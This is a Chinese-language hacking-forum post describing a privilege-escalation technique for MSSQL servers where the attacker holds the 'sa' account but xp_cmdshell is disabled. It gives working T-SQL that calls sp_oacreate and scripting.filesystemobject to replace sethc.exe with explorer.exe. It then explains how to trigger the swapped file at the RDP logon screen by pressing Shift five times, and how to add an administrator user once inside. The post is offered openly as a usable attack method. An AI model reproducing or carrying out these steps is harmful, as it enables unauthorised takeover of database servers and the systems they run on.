无xp_cmdshellsethc替换提权

[复制链接]
查看1001 | 回复0 | 2012-4-1 19:25:09 | 显示全部楼层 |阅读模式
有了sa但无xp_cmdshell,怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块,反正我遇到好多次了。在用execsp_oacreate'wscript.shell'也没办法的情况下。。可用此方法(很多服务器都把'wscript.shell'给删了。)
看到既然能用sp_oacreate,sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject
网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制,删除文件吧。。
上网找了些资料,得到下面方法:
复制文件:
declare@oint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
declare@ooint
execsp_oacreate'scripting.filesystemobject',@ooout
execsp_oamethod@oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';
成功后3389登陆按五次shift键。成功进入服务器。一直向上点”我的电脑“右键“管理”用户管理直接加用户。
此法随无技术可言,希望对某些人有点用。
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则